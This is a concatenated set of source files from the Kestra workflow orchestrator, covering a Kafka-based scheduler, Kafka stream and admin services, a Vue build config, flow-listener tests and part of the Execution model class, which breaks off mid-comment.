@KafkaQueueEnabled
@Singleton
@Slf4j
@Replaces(DefaultScheduler.class)
public class KafkaScheduler extends AbstractScheduler {
private static final String STATESTORE_EXECUTOR = "schedulerexecutor";
private static final String STATESTORE_TRIGGER = "schedulertrigger";
private final KafkaAdminService kafkaAdminService;
private final KafkaStreamService kafkaStreamService;
private final QueueInterface<Trigger> triggerQueue;
private final ConditionService conditionService;
private final KafkaStreamSourceService kafkaStreamSourceService;
private final QueueService queueService;
private final KafkaProducer<String, Object> kafkaProducer;
private final TopicsConfig topicsConfigTrigger;
private final TopicsConfig topicsConfigExecution;
private final Map<String, Trigger> triggerLock = new ConcurrentHashMap<>();
protected KafkaStreamService.Stream stateStream;
protected KafkaStreamService.Stream cleanTriggerStream;
@SuppressWarnings("unchecked")
public KafkaScheduler(
ApplicationContext applicationContext,
FlowListenersInterface flowListenersService
) {
super(
applicationContext,
flowListenersService
);
this.triggerQueue = applicationContext.getBean(QueueInterface.class, Qualifiers.byName(QueueFactoryInterface.TRIGGER_NAMED));
this.kafkaAdminService = applicationContext.getBean(KafkaAdminService.class);
this.kafkaStreamService = applicationContext.getBean(KafkaStreamService.class);
this.conditionService = applicationContext.getBean(ConditionService.class);
this.kafkaStreamSourceService = applicationContext.getBean(KafkaStreamSourceService.class);
this.queueService = applicationContext.getBean(QueueService.class);
this.kafkaProducer = applicationContext.getBean(KafkaProducerService.class).of(
KafkaScheduler.class,
JsonSerde.of(Object.class),
ImmutableMap.of("transactional.id", IdUtils.create())
);
this.topicsConfigTrigger = KafkaQueue.topicsConfig(applicationContext, Trigger.class);
this.topicsConfigExecution = KafkaQueue.topicsConfig(applicationContext, Execution.class);
this.kafkaProducer.initTransactions();
}
public class SchedulerCleaner {
private StreamsBuilder topology() {
StreamsBuilder builder = new KafkaStreamsBuilder();
KStream<String, Executor> executorKStream = kafkaStreamSourceService.executorKStream(builder);
GlobalKTable<String, Flow> flowKTable = kafkaStreamSourceService.flowGlobalKTable(builder);
KStream<String, Executor> executionWithFlowKStream = kafkaStreamSourceService
.executorWithFlow(flowKTable, executorKStream, false);
GlobalKTable<String, Trigger> triggerGlobalKTable = kafkaStreamSourceService.triggerGlobalKTable(builder);
executionWithFlowKStream
.filter(
(key, value) -> value.getExecution().getTrigger() != null,
Named.as("cleanTrigger-hasTrigger-filter")
)
.filter(
(key, value) -> conditionService.isTerminatedWithListeners(value.getFlow(), value.getExecution()),
Named.as("cleanTrigger-terminated-filter")
)
.join(
triggerGlobalKTable,
(key, executionWithFlow) -> Trigger.uid(executionWithFlow.getExecution()),
(execution, trigger) -> trigger.resetExecution(),
Named.as("cleanTrigger-join")
)
.selectKey((key, value) -> queueService.key(value))
.to(
kafkaAdminService.getTopicName(Trigger.class),
Produced.with(Serdes.String(), JsonSerde.of(Trigger.class))
);
return builder;
}
}
public class SchedulerState {
public StreamsBuilder topology() {
StreamsBuilder builder = new KafkaStreamsBuilder();
// executor global state store
builder.addGlobalStore(
Stores.keyValueStoreBuilder(
Stores.persistentKeyValueStore(STATESTORE_EXECUTOR),
Serdes.String(),
JsonSerde.of(Executor.class)
),
kafkaAdminService.getTopicName(Executor.class),
Consumed.with(Serdes.String(), JsonSerde.of(Executor.class)),
() -> new GlobalStateProcessor<>(STATESTORE_EXECUTOR)
);
// trigger global state store
builder.addGlobalStore(
Stores.keyValueStoreBuilder(
Stores.persistentKeyValueStore(STATESTORE_TRIGGER),
Serdes.String(),
JsonSerde.of(Trigger.class)
),
kafkaAdminService.getTopicName(Trigger.class),
Consumed.with(Serdes.String(), JsonSerde.of(Trigger.class)),
() -> new GlobalStateLockProcessor<>(STATESTORE_TRIGGER, triggerLock)
);
return builder;
}
}
/**
* We saved the trigger in a local hash map that will be clean by {@link GlobalStateProcessor}.
* The scheduler trust the STATESTORE_TRIGGER to know if a running execution exists. Since the store is filled async,
* this can lead to empty trigger and launch of concurrent job.
*
* @param executionWithTrigger the execution trigger to save
*/
protected synchronized void saveLastTriggerAndEmitExecution(SchedulerExecutionWithTrigger executionWithTrigger) {
Trigger trigger = Trigger.of(
executionWithTrigger.getTriggerContext(),
executionWithTrigger.getExecution()
);
kafkaProducer.beginTransaction();
this.kafkaProducer.send(new ProducerRecord<>(
topicsConfigTrigger.getName(),
this.queueService.key(trigger),
trigger
));
this.kafkaProducer.send(new ProducerRecord<>(
topicsConfigExecution.getName(),
this.queueService.key(executionWithTrigger.getExecution()),
executionWithTrigger.getExecution()
));
this.triggerLock.put(trigger.uid(), trigger);
kafkaProducer.commitTransaction();
}
protected KafkaStreamService.Stream init(Class<?> group, StreamsBuilder builder) {
Topology topology = builder.build();
if (log.isTraceEnabled()) {
log.trace(topology.describe().toString());
}
return kafkaStreamService.of(this.getClass(), group, topology);
}
public void initStream() {
kafkaAdminService.createIfNotExist(Flow.class);
kafkaAdminService.createIfNotExist(Executor.class);
kafkaAdminService.createIfNotExist(Trigger.class);
this.stateStream = this.init(SchedulerState.class, new SchedulerState().topology());
this.stateStream.start((newState, oldState) -> {
this.isReady = newState == KafkaStreams.State.RUNNING;
});
this.triggerState = new KafkaSchedulerTriggerState(
stateStream.store(StoreQueryParameters.fromNameAndType(STATESTORE_TRIGGER, QueryableStoreTypes.keyValueStore())),
triggerQueue,
triggerLock
);
this.executionState = new KafkaSchedulerExecutionState(
stateStream.store(StoreQueryParameters.fromNameAndType(STATESTORE_EXECUTOR, QueryableStoreTypes.keyValueStore()))
);
this.cleanTriggerStream = this.init(SchedulerCleaner.class, new SchedulerCleaner().topology());
this.cleanTriggerStream.start();
}
@Override
public void run() {
this.initStream();
super.run();
}
@Override
public void close() {
if (stateStream != null) {
stateStream.close(Duration.ofSeconds(10));
}
if (cleanTriggerStream != null) {
cleanTriggerStream.close(Duration.ofSeconds(10));
}
super.close();
}
}
<|start_filename|>runner-kafka/src/main/java/io/kestra/runner/kafka/services/KafkaStreamSourceService.java<|end_filename|>
package io.kestra.runner.kafka.services;
import io.kestra.core.models.flows.Flow;
import io.kestra.core.models.triggers.Trigger;
import io.kestra.core.runners.Executor;
import io.kestra.core.services.TaskDefaultService;
import io.kestra.runner.kafka.serializers.JsonSerde;
import lombok.extern.slf4j.Slf4j;
import org.apache.kafka.common.serialization.Serdes;
import org.apache.kafka.common.utils.Bytes;
import org.apache.kafka.streams.StreamsBuilder;
import org.apache.kafka.streams.kstream.*;
import org.apache.kafka.streams.state.KeyValueStore;
import org.slf4j.Logger;
import javax.inject.Inject;
import javax.inject.Singleton;
@Singleton
public class KafkaStreamSourceService {
public static final String TOPIC_FLOWLAST = "flowlast";
public static final String TOPIC_EXECUTOR_WORKERINSTANCE = "executorworkerinstance";
@Inject
private KafkaAdminService kafkaAdminService;
@Inject
private TaskDefaultService taskDefaultService;
public GlobalKTable<String, Flow> flowGlobalKTable(StreamsBuilder builder) {
return builder
.globalTable(
kafkaAdminService.getTopicName(Flow.class),
Consumed.with(Serdes.String(), JsonSerde.of(Flow.class)).withName("GlobalKTable.Flow"),
Materialized.<String, Flow, KeyValueStore<Bytes, byte[]>>as("flow")
.withKeySerde(Serdes.String())
.withValueSerde(JsonSerde.of(Flow.class))
);
}
public KStream<String, Executor> executorKStream(StreamsBuilder builder) {
return builder
.stream(
kafkaAdminService.getTopicName(Executor.class),
Consumed.with(Serdes.String(), JsonSerde.of(Executor.class)).withName("KStream.Executor")
);
}
public GlobalKTable<String, Trigger> triggerGlobalKTable(StreamsBuilder builder) {
return builder
.globalTable(
kafkaAdminService.getTopicName(Trigger.class),
Consumed.with(Serdes.String(), JsonSerde.of(Trigger.class)).withName("GlobalKTable.Trigger"),
Materialized.<String, Trigger, KeyValueStore<Bytes, byte[]>>as("trigger")
.withKeySerde(Serdes.String())
.withValueSerde(JsonSerde.of(Trigger.class))
);
}
public KStream<String, Executor> executorWithFlow(GlobalKTable<String, Flow> flowGlobalKTable, KStream<String, Executor> executionKStream, boolean withDefaults) {
return executionKStream
.filter((key, value) -> value != null, Named.as("ExecutorWithFlow.filterNotNull"))
.join(
flowGlobalKTable,
(key, executor) -> Flow.uid(executor.getExecution()),
(executor, flow) -> {
if (!withDefaults) {
return executor.withFlow(flow);
} else {
Flow flowWithDefaults = taskDefaultService.injectDefaults(flow, executor.getExecution());
return executor.withFlow(flowWithDefaults);
}
},
Named.as("ExecutorWithFlow.join")
);
}
public static <T> KStream<String, T> logIfEnabled(Logger log, KStream<String, T> stream, ForeachAction<String, T> action, String name) {
if (log.isDebugEnabled()) {
return stream
.filter((key, value) -> value != null, Named.as(name + "Log.filterNotNull"))
.peek(action, Named.as(name + "Log.peek"));
} else {
return stream;
}
}
}
<|start_filename|>runner-kafka/src/main/java/io/kestra/runner/kafka/services/KafkaAdminService.java<|end_filename|>
package io.kestra.runner.kafka.services;
import io.micrometer.core.instrument.Tag;
import io.micrometer.core.instrument.binder.kafka.KafkaClientMetrics;
import io.micronaut.context.annotation.Value;
import lombok.extern.slf4j.Slf4j;
import org.apache.kafka.clients.CommonClientConfigs;
import org.apache.kafka.clients.admin.AdminClient;
import org.apache.kafka.clients.admin.ConfigEntry;
import org.apache.kafka.clients.admin.NewTopic;
import org.apache.kafka.common.config.ConfigResource;
import org.apache.kafka.common.errors.TopicExistsException;
import io.kestra.core.metrics.MetricRegistry;
import io.kestra.runner.kafka.configs.ClientConfig;
import io.kestra.runner.kafka.configs.TopicDefaultsConfig;
import io.kestra.runner.kafka.configs.TopicsConfig;
import java.util.*;
import java.util.concurrent.ExecutionException;
import java.util.stream.Collectors;
import javax.annotation.PreDestroy;
import javax.inject.Inject;
import javax.inject.Singleton;
@Singleton
@Slf4j
public class KafkaAdminService implements AutoCloseable {
@Inject
private TopicDefaultsConfig topicDefaultsConfig;
@Inject
private List<TopicsConfig> topicsConfig;
@Inject
private ClientConfig clientConfig;
@Inject
private MetricRegistry metricRegistry;
private AdminClient adminClient;
private KafkaClientMetrics kafkaClientMetrics;
@Value("${kestra.server.metrics.kafka.admin:true}")
protected Boolean metricsEnabled;
public AdminClient of() {
if (this.adminClient == null) {
Properties properties = new Properties();
properties.putAll(clientConfig.getProperties());
properties.put(CommonClientConfigs.CLIENT_ID_CONFIG, "default");
adminClient = AdminClient.create(properties);
if (metricsEnabled) {
kafkaClientMetrics = new KafkaClientMetrics(
adminClient,
List.of(
Tag.of("client_type", "admin"),
Tag.of("client_class_id", (String) properties.get(CommonClientConfigs.CLIENT_ID_CONFIG))
)
);
metricRegistry.bind(kafkaClientMetrics);
}
}
return adminClient;
}
@PreDestroy
@Override
public void close() {
if (adminClient != null) {
adminClient.close();
}
if (kafkaClientMetrics != null) {
kafkaClientMetrics.close();
}
}
private TopicsConfig getTopicConfig(Class<?> cls) {
return this.topicsConfig
.stream()
.filter(r -> r.getCls() == cls)
.findFirst()
.orElseThrow(() -> new NoSuchElementException("Invalid class '" + cls.getName() + "'"));
}
private TopicsConfig getTopicConfig(String key) {
return this.topicsConfig
.stream()
.filter(r -> r.getKey().equals(key))
.findFirst()
.orElseThrow(() -> new NoSuchElementException("Invalid key '" + key + "'"));
}
public void createIfNotExist(String key) {
this.createIfNotExist(this.getTopicConfig(key));
}
public void createIfNotExist(Class<?> cls) {
this.createIfNotExist(this.getTopicConfig(cls));
}
@SuppressWarnings("deprecation")
public void createIfNotExist(TopicsConfig topicConfig) {
NewTopic newTopic = new NewTopic(
topicConfig.getName(),
topicConfig.getPartitions() != null ? topicConfig.getPartitions() : topicDefaultsConfig.getPartitions(),
topicConfig.getReplicationFactor() != null ? topicConfig.getReplicationFactor() : topicDefaultsConfig.getReplicationFactor()
);
Map<String, String> properties = new HashMap<>();
if (topicDefaultsConfig.getProperties() != null) {
properties.putAll(topicDefaultsConfig.getProperties());
}
if (topicConfig.getProperties() != null) {
properties.putAll(topicConfig.getProperties());
}
newTopic.configs(properties);
try {
this.of().createTopics(Collections.singletonList(newTopic)).all().get();
log.info("Topic '{}' created", newTopic.name());
} catch (ExecutionException | InterruptedException e) {
if (e.getCause() instanceof TopicExistsException) {
try {
adminClient
.alterConfigs(new HashMap<>() {{
put(
new ConfigResource(ConfigResource.Type.TOPIC, newTopic.name()),
new org.apache.kafka.clients.admin.Config(
newTopic.configs()
.entrySet()
.stream()
.map(config -> new ConfigEntry(config.getKey(), config.getValue()))
.collect(Collectors.toList())
)
);
}}).all().get();
log.info("Topic Config '{}' updated", newTopic.name());
} catch (InterruptedException | ExecutionException e1) {
throw new RuntimeException(e);
}
} else {
throw new RuntimeException(e);
}
}
}
public void delete(String key) {
this.delete(this.getTopicConfig(key));
}
public void delete(Class<?> cls) {
this.delete(this.getTopicConfig(cls));
}
public void delete(TopicsConfig topicConfig) {
try {
this.of().deleteTopics(Collections.singletonList(topicConfig.getName())).all().get();
log.info("Topic '{}' deleted", topicConfig.getName());
} catch (ExecutionException | InterruptedException e) {
throw new RuntimeException(e);
}
}
public String getTopicName(Class<?> cls) {
return this.getTopicConfig(cls).getName();
}
public String getTopicName(String key) {
return this.getTopicConfig(key).getName();
}
}
<|start_filename|>ui/vue.config.js<|end_filename|>
const path = require("path");
const MonacoEditorPlugin = require("monaco-editor-webpack-plugin")
// const WebpackBundleAnalyzer = require("webpack-bundle-analyzer").BundleAnalyzerPlugin;
module.exports = {
publicPath: "/ui/",
outputDir: "../webserver/src/main/resources/ui",
configureWebpack: {
devtool: process.env.NODE_ENV !== "production" ? "eval-source-map" : false,
resolve: {
alias: {
override: path.resolve(__dirname, "src/override/"),
"monaco-editor$": "monaco-editor"
}
},
module: {
rules: [
{
test: /\.sass$/,
use: ["vue-style-loader", "css-loader", "sass-loader"]
}
]
},
plugins: [
new MonacoEditorPlugin({
languages: ["yaml"],
features: [
"!accessibilityHelp",
"!anchorSelect",
"!codelens",
"!colorPicker",
"!gotoError",
"!gotoSymbol",
"!rename",
"!snippets",
"!toggleHighContrast",
"!toggleTabFocusMode",
"!viewportSemanticTokens",
]
}),
// new WebpackBundleAnalyzer()
],
},
css: {
sourceMap: process.env.NODE_ENV !== "production"
}
};
<|start_filename|>core/src/test/java/io/kestra/core/runners/FlowListenersTest.java<|end_filename|>
package io.kestra.core.runners;
import io.micronaut.test.extensions.junit5.annotation.MicronautTest;
import lombok.SneakyThrows;
import io.kestra.core.models.flows.Flow;
import io.kestra.core.repositories.FlowRepositoryInterface;
import io.kestra.core.services.FlowListenersInterface;
import io.kestra.core.tasks.debugs.Return;
import io.kestra.core.utils.IdUtils;
import io.kestra.runner.memory.MemoryFlowListeners;
import java.util.Collections;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
import javax.inject.Inject;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.is;
@MicronautTest
abstract public class FlowListenersTest {
@Inject
FlowRepositoryInterface flowRepository;
private static Flow create(String flowId, String taskId) {
return Flow.builder()
.id(flowId)
.namespace("io.kestra.unittest")
.revision(1)
.tasks(Collections.singletonList(Return.builder()
.id(taskId)
.type(Return.class.getName())
.format("test")
.build()))
.build();
}
public void suite(FlowListenersInterface flowListenersService) {
AtomicInteger count = new AtomicInteger();
var ref = new Ref();
flowListenersService.listen(flows -> {
count.set(flows.size());
ref.countDownLatch.countDown();
});
// initial state
wait(ref, () -> {
assertThat(count.get(), is(0));
assertThat(flowListenersService.flows().size(), is(0));
});
// resend on startup done for kafka
if (flowListenersService.getClass().getName().equals("io.kestra.runner.kafka.KafkaFlowListeners")) {
wait(ref, () -> {
assertThat(count.get(), is(0));
assertThat(flowListenersService.flows().size(), is(0));
});
}
// create first
Flow first = create("first_" + IdUtils.create(), "test");
flowRepository.create(first);
wait(ref, () -> {
assertThat(count.get(), is(1));
assertThat(flowListenersService.flows().size(), is(1));
});
// create the same id than first, no additional flows
first = flowRepository.update(create(first.getId(), "test2"), first);
wait(ref, () -> {
assertThat(count.get(), is(1));
assertThat(flowListenersService.flows().size(), is(1));
assertThat(flowListenersService.flows().get(0).getTasks().get(0).getId(), is("test2"));
});
// create a new one
flowRepository.create(create("second_" + IdUtils.create(), "test"));
wait(ref, () -> {
assertThat(count.get(), is(2));
assertThat(flowListenersService.flows().size(), is(2));
});
// delete first
Flow deleted = flowRepository.delete(first);
wait(ref, () -> {
assertThat(count.get(), is(1));
assertThat(flowListenersService.flows().size(), is(1));
});
// restore must works
flowRepository.create(first);
wait(ref, () -> {
assertThat(count.get(), is(2));
assertThat(flowListenersService.flows().size(), is(2));
});
}
public static class Ref {
CountDownLatch countDownLatch = new CountDownLatch(1);
}
@SneakyThrows
private void wait(Ref ref, Runnable run) {
ref.countDownLatch.await(60, TimeUnit.SECONDS);
run.run();
ref.countDownLatch = new CountDownLatch(1);
}
}
<|start_filename|>runner-kafka/src/test/java/io/kestra/runner/kafka/KafkaFlowListenersTest.java<|end_filename|>
package io.kestra.runner.kafka;
import org.junit.jupiter.api.Test;
import io.kestra.core.runners.FlowListenersTest;
import javax.inject.Inject;
class KafkaFlowListenersTest extends FlowListenersTest {
@Inject
KafkaFlowListeners flowListenersService;
@Test
public void all() {
this.suite(flowListenersService);
}
}
<|start_filename|>core/src/main/java/io/kestra/core/models/executions/Execution.java<|end_filename|>
package io.kestra.core.models.executions;
import ch.qos.logback.classic.spi.ILoggingEvent;
import ch.qos.logback.classic.spi.LoggingEvent;
import ch.qos.logback.classic.spi.ThrowableProxy;
import com.fasterxml.jackson.annotation.JsonIgnore;
import com.google.common.collect.ImmutableMap;
import com.google.common.collect.Streams;
import lombok.Builder;
import lombok.Value;
import lombok.With;
import lombok.extern.slf4j.Slf4j;
import io.kestra.core.exceptions.InternalException;
import io.kestra.core.models.DeletedInterface;
import io.kestra.core.models.flows.Flow;
import io.kestra.core.models.flows.State;
import io.kestra.core.models.tasks.ResolvedTask;
import io.kestra.core.runners.FlowableUtils;
import io.kestra.core.runners.RunContextLogger;
import io.kestra.core.utils.MapUtils;
import java.time.Instant;
import java.util.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.util.zip.CRC32;
import io.micronaut.core.annotation.Nullable;
import javax.validation.constraints.NotNull;
@Value
@Builder
@Slf4j
public class Execution implements DeletedInterface {
@NotNull
private String id;
@NotNull
private String namespace;
@NotNull
private String flowId;
@NotNull
@With
private Integer flowRevision;
@With
private List<TaskRun> taskRunList;
@With
private Map<String, Object> inputs;
@With
private Map<String, Object> variables;
@NotNull
private State state;
private String parentId;
@With
private ExecutionTrigger trigger;
@NotNull
private boolean deleted = false;
public Execution withState(State.Type state) {
return new Execution(
this.id,
this.namespace,
this.flowId,
this.flowRevision,
this.taskRunList,
this.inputs,
this.variables,
this.state.withState(state),
this.parentId,
this.trigger
);
}
public Execution withTaskRun(TaskRun taskRun) throws InternalException {
ArrayList<TaskRun> newTaskRunList = new ArrayList<>(this.taskRunList);
boolean b = Collections.replaceAll(
newTaskRunList,
this.findTaskRunByTaskRunId(taskRun.getId()),
taskRun
);
if (!b) {
throw new IllegalStateException("Can't replace taskRun '" + taskRun.getId() + "' on execution'" + this.getId() + "'");
}
return new Execution(
this.id,
this.namespace,
this.flowId,
this.flowRevision,
newTaskRunList,
this.inputs,
this.variables,
this.state,
this.parentId,
this.trigger
);
}
public Execution childExecution(String childExecutionId, List<TaskRun> taskRunList, State state) {
return new Execution(
childExecutionId != null ? childExecutionId : this.getId(),
this.namespace,
this.flowId,
this.flowRevision,
taskRunList,
this.inputs,
this.variables,
state,
childExecutionId != null ? this.getId() : null,
this.trigger
);
}
public List<TaskRun> findTaskRunsByTaskId(String id) {
if (this.taskRunList == null) {
return new ArrayList<>();
}
return this.taskRunList
.stream()
.filter(taskRun -> taskRun.getTaskId().equals(id))
.collect(Collectors.toList());
}
public TaskRun findTaskRunByTaskRunId(String id) throws InternalException {
Optional<TaskRun> find = (this.taskRunList == null ? new ArrayList<TaskRun>() : this.taskRunList)
.stream()
.filter(taskRun -> taskRun.getId().equals(id))
.findFirst();
if (find.isEmpty()) {
throw new InternalException("Can't find taskrun with taskrunId '" + id + "' on execution '" + this.id + "' " + this.toStringState());
}
return find.get();
}
public TaskRun findTaskRunByTaskIdAndValue(String id, List<String> values) throws InternalException {
Optional<TaskRun> find = (this.taskRunList == null ? new ArrayList<TaskRun>() : this.taskRunList)
.stream()
.filter(taskRun -> taskRun.getTaskId().equals(id) && findChildsValues(taskRun, true).equals(values))
.findFirst();
if (find.isEmpty()) {
throw new InternalException("Can't find taskrun with taskrunId '" + id + "' & value '" + values + "' on execution '" + this.id + "' " + this.toStringState());
}
return find.get();
}
/**
* Determine if the current execution is on error & normal tasks
* Used only from the flow
*
* @param resolvedTasks normal tasks
* @param resolvedErrors errors tasks
* @return the flow we need to follow
*/
public List<ResolvedTask> findTaskDependingFlowState(List<ResolvedTask> resolvedTasks, List<ResolvedTask> resolvedErrors) {
return this.findTaskDependingFlowState(resolvedTasks, resolvedErrors, null);
}
/**
* Determine if the current execution is on error & normal tasks
* <p>
* if the current have errors, return tasks from errors
* if not, return the normal tasks
*
* @param resolvedTasks normal tasks
* @param resolvedErrors errors tasks
* @param parentTaskRun the parent task
* @return the flow we need to follow
*/
public List<ResolvedTask> findTaskDependingFlowState(List<ResolvedTask> resolvedTasks, @Nullable List<ResolvedTask> resolvedErrors, TaskRun parentTaskRun) {
resolvedTasks = removeDisabled(resolvedTasks);
resolvedErrors = removeDisabled(resolvedErrors);
List<TaskRun> errorsFlow = this.findTaskRunByTasks(resolvedErrors, parentTaskRun);
if (errorsFlow.size() > 0 || this.hasFailed(resolvedTasks)) {
return resolvedErrors == null ? new ArrayList<>() : resolvedErrors;
}
return resolvedTasks;
}
public List<ResolvedTask> findTaskDependingFlowState(List<ResolvedTask> resolvedTasks) {
resolvedTasks = removeDisabled(resolvedTasks);
return resolvedTasks;
}
private List<ResolvedTask> removeDisabled(List<ResolvedTask> tasks) {
if (tasks == null) {
return null;
}
return tasks
.stream()
.filter(resolvedTask -> !resolvedTask.getTask().getDisabled())
.collect(Collectors.toList());
}
public List<TaskRun> findTaskRunByTasks(List<ResolvedTask> resolvedTasks, TaskRun parentTaskRun) {
if (resolvedTasks == null || this.taskRunList == null) {
return new ArrayList<>();
}
return this
.getTaskRunList()
.stream()
.filter(t -> resolvedTasks
.stream()
.anyMatch(resolvedTask -> FlowableUtils.isTaskRunFor(resolvedTask, t, parentTaskRun))
)
.collect(Collectors.toList());
}
public Optional<TaskRun> findFirstByState(State.Type state) {
if (this.taskRunList == null) {
return Optional.empty();
}
return this.taskRunList
.stream()
.filter(t -> t.getState().getCurrent() == state)
.findFirst();
}
public Optional<TaskRun> findFirstRunning() {
if (this.taskRunList == null) {
return Optional.empty();
}
return this.taskRunList
.stream()
.filter(t -> t.getState().isRunning())
.findFirst();
}
@SuppressWarnings("UnstableApiUsage")
public Optional<TaskRun> findLastNotTerminated() {
if (this.taskRunList == null) {
return Optional.empty();
}
return Streams.findLast(this.taskRunList
.stream()
.filter(t -> !t.getState().isTerninated())
);
}
@SuppressWarnings("UnstableApiUsage")
public Optional<TaskRun> findLastByState(List<ResolvedTask> resolvedTasks, State.Type state, TaskRun taskRun) {
return Streams.findLast(this.findTaskRunByTasks(resolvedTasks, taskRun)
.stream()
.filter(t -> t.getState().getCurrent() == state)
);
}
@SuppressWarnings("UnstableApiUsage")
public Optional<TaskRun> findLastCreated(List<ResolvedTask> resolvedTasks, TaskRun taskRun) {
return Streams.findLast(this.findTaskRunByTasks(resolvedTasks, taskRun)
.stream()
.filter(t -> t.getState().isCreated())
);
}
@SuppressWarnings("UnstableApiUsage")
public Optional<TaskRun> findLastRunning(List<ResolvedTask> resolvedTasks, TaskRun taskRun) {
return Streams.findLast(this.findTaskRunByTasks(resolvedTasks, taskRun)
.stream()
.filter(t -> t.getState().isRunning())
);
}
public Optional<TaskRun> findLastTerminated(List<ResolvedTask> resolvedTasks, TaskRun taskRun) {
List<TaskRun> taskRuns = this.findTaskRunByTasks(resolvedTasks, taskRun);
ArrayList<TaskRun> reverse = new ArrayList<>(taskRuns);
Collections.reverse(reverse);
return Streams.findLast(this.findTaskRunByTasks(resolvedTasks, taskRun)
.stream()
.filter(t -> t.getState().isTerninated())
);
}
public boolean isTerminated(List<ResolvedTask> resolvedTasks) {
return this.isTerminated(resolvedTasks, null);
}
public boolean isTerminated(List<ResolvedTask> resolvedTasks, TaskRun parentTaskRun) {
long terminatedCount = this
.findTaskRunByTasks(resolvedTasks, parentTaskRun)
.stream()
.filter(taskRun -> taskRun.getState().isTerninated())
.count();
return terminatedCount == resolvedTasks.size();
}
public boolean hasWarning() {
return this.taskRunList != null && this.taskRunList
.stream()
.anyMatch(taskRun -> taskRun.getState().getCurrent() == State.Type.WARNING);
}
public boolean hasWarning(List<ResolvedTask> resolvedTasks) {
return this.hasWarning(resolvedTasks, null);
}
public boolean hasWarning(List<ResolvedTask> resolvedTasks, TaskRun parentTaskRun) {
return this.findTaskRunByTasks(resolvedTasks, parentTaskRun)
.stream()
.anyMatch(taskRun -> taskRun.getState().getCurrent() == State.Type.WARNING);
}
public boolean hasFailed() {
return this.taskRunList != null && this.taskRunList
.stream()
.anyMatch(taskRun -> taskRun.getState().isFailed());
}
public boolean hasFailed(List<ResolvedTask> resolvedTasks) {
return this.hasFailed(resolvedTasks, null);
}
public boolean hasFailed(List<ResolvedTask> resolvedTasks, TaskRun parentTaskRun) {
return this.findTaskRunByTasks(resolvedTasks, parentTaskRun)
.stream()
.anyMatch(taskRun -> taskRun.getState().isFailed());
}
public boolean hasCreated() {
return this.taskRunList != null && this.taskRunList
.stream()
.anyMatch(taskRun -> taskRun.getState().isCreated());
}
public boolean hasCreated(List<ResolvedTask> resolvedTasks) {
return this.hasCreated(resolvedTasks, null);
}
public boolean hasCreated(List<ResolvedTask> resolvedTasks, TaskRun parentTaskRun) {
return this.findTaskRunByTasks(resolvedTasks, parentTaskRun)
.stream()
.anyMatch(taskRun -> taskRun.getState().isCreated());
}
public boolean hasRunning(List<ResolvedTask> resolvedTasks) {
return this.hasRunning(resolvedTasks, null);
}
public boolean hasRunning(List<ResolvedTask> resolvedTasks, TaskRun parentTaskRun) {
return this.findTaskRunByTasks(resolvedTasks, parentTaskRun)
.stream()
.anyMatch(taskRun -> taskRun.getState().isRunning());
}
public State.Type guessFinalState(Flow flow) {
return this.guessFinalState(ResolvedTask.of(flow.getTasks()), null);
}
public State.Type guessFinalState(List<ResolvedTask> currentTasks, TaskRun parentTaskRun) {
return this
.findLastByState(currentTasks, State.Type.KILLED, parentTaskRun)
.map(taskRun -> taskRun.getState().getCurrent())
.or(() -> this
.findLastByState(currentTasks, State.Type.FAILED, parentTaskRun)
.map(taskRun -> taskRun.getState().getCurrent())
)
.or(() -> this
.findLastByState(currentTasks, State.Type.WARNING, parentTaskRun)
.map(taskRun -> taskRun.getState().getCurrent())
)
.or(() -> this
.findLastByState(currentTasks, State.Type.PAUSED, parentTaskRun)
.map(taskRun -> taskRun.getState().getCurrent())
)
.orElse(State.Type.SUCCESS);
}
@JsonIgnore
public boolean hasTaskRunJoinable(TaskRun taskRun) {
if (this.taskRunList == null) {
return true;
}
TaskRun current = this.taskRunList
.stream()
.filter(r -> r.isSame(taskRun))
.findFirst()
.orElse(null);
if (current == null) {
return true;
}
// same status
if (current.getState().getCurrent() == taskRun.getState().getCurrent()) {
return false;
}
// failedExecutionFromExecutor call before, so the workerTaskResult
// don't have changed to failed but taskRunList will contain a failed
// same for restart, the CREATED status is directly on execution taskrun
// so we don't changed if current execution is terminated
if (current.getState().isTerninated() && !taskRun.getState().isTerninated()) {
return false;
}
// restart case mostly
// execution contains more state than taskrun so workerTaskResult is outdated
if (current.getState().getHistories().size() > taskRun.getState().getHistories().size()) {
return false;
}
return true;
}
/**
* Convert an exception on {@link io.kestra.core.runners.AbstractExecutor} and add log to the current
* {@code RUNNING} taskRun, on the lastAttempts.
* If no Attempt is found, we create one (must be nominal case).
* The executor will catch the {@code FAILED} taskRun emitted and will failed the execution.
* In the worst case, we FAILED the execution (only from {@link io.kestra.core.models.triggers.types.Flow}).
*
* @param e the exception throw from {@link io.kestra.core.runners.AbstractExecutor}
* @return a new execution with taskrun failed if possible or execution failed is other case
*/
public FailedExecutionWithLog failedExecutionFromExecutor(Exception e) {
log.warn(
"[namespace: {}] [flow: {}] [execution: {}] Flow failed from executor in {} with exception '{}'",
this.getNamespace(),
this.getFlowId(),
this.getId(),
this.getState().humanDuration(),
e.getMessage(),
e
);
return this
.findLastNotTerminated()
.map(taskRun -> {
TaskRunAttempt lastAttempt = taskRun.lastAttempt();
if (lastAttempt == null) {
return newAttemptsTaskRunForFailedExecution(taskRun, e);
} else {
return lastAttemptsTaskRunForFailedExecution(taskRun, lastAttempt, e);
}
})
.map(t -> {
try {
return new FailedExecutionWithLog(
this.withTaskRun(t.getTaskRun()),
t.getLogs()
);
} catch (InternalException ex) {
return null;
}
})
.filter(Objects::nonNull)
.orElseGet(() -> new FailedExecutionWithLog(
this.state.getCurrent() != State.Type.FAILED ? this.withState(State.Type.FAILED) : this,
RunContextLogger.logEntries(loggingEventFromException(e), LogEntry.of(this))
)
);
}
/**
* Create a new attemps for failed worker execution
*
* @param taskRun the task run where we need to add an attempt
* @param e the exception raise
* @return new taskRun with added attempt
*/
private static FailedTaskRunWithLog newAttemptsTaskRunForFailedExecution(TaskRun taskRun, Exception e) {
return new FailedTaskRunWithLog(
taskRun
.withAttempts(
Collections.singletonList(TaskRunAttempt.builder()
.state(new State())
.build()
.withState(State.Type.FAILED))
)
.withState(State.Type.FAILED),
RunContextLogger.logEntries(loggingEventFromException(e), LogEntry.of(taskRun))
);
}
/**
* Add exception log to last attempts
*
* @param taskRun the task run where we need to add an attempt
* @param lastAttempt the lastAttempt found to add
* @param e the exception raise
* @return new taskRun with updated attempt with logs
